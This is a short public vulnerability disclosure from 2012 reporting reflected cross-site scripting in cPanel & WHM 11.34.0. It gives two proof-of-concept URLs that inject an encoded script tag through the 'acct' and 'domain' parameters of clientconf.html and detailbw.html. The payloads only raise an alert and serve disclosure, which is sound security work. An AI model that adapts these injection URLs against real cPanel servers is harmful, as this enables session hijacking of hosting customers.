C-Panel / WHM 11.34.0 Cross Site Scripting

`# cPanel & WHM Cross Site Scripting Vulnerability  
# Date: 27 Dec 2012  
# Author: Christy Philip Mathew  
# Vendor or Software Link: http://cpanel.net/demo/  
# Version: cPanel & WHM 11.34.0 (build 8)  
# Category:: Remote  
  
POC Video - http://www.youtube.com/watch?v=HJ64X2y8o0E  
  
  
WHM  
  
1. Basic cPanel ,WHM Setup - NameServer Entry - XSS -  
  
[image: Inline image 1]  
  
  
  
2. The clientconf.html and detailbw.html page in x3 for cPanel has been  
found to be vulnerable to a Cross Site Scripting at the following URL:  
  
[image: Inline image 2]  
  
(a)  
http://x3demob.cpx3demo.com:2095/webmail/x3/mail/clientconf.html?domain=&redirectdomain=&acct=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&archiving=0  
  
(b)  
http://x3demob.cpx3demo.com:2082/frontend/x3/stats/detailbw.html?mon=Dec&year=2006&domain=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&target=x3demob  
  
  
  
  
  
Regard's  
  
  
*Christy Philip Mathew  
*  
*C|EH, C|HFI, E**|CSA**, L**|PT** MCTS, MCITP SA/EA  
  
*  
* <https://www.facebook.com/christy.priory><https://twitter.com/#%21/christypriory><http://in.linkedin.com/in/christypriory>  
  
  
  
  
  
  
*  
`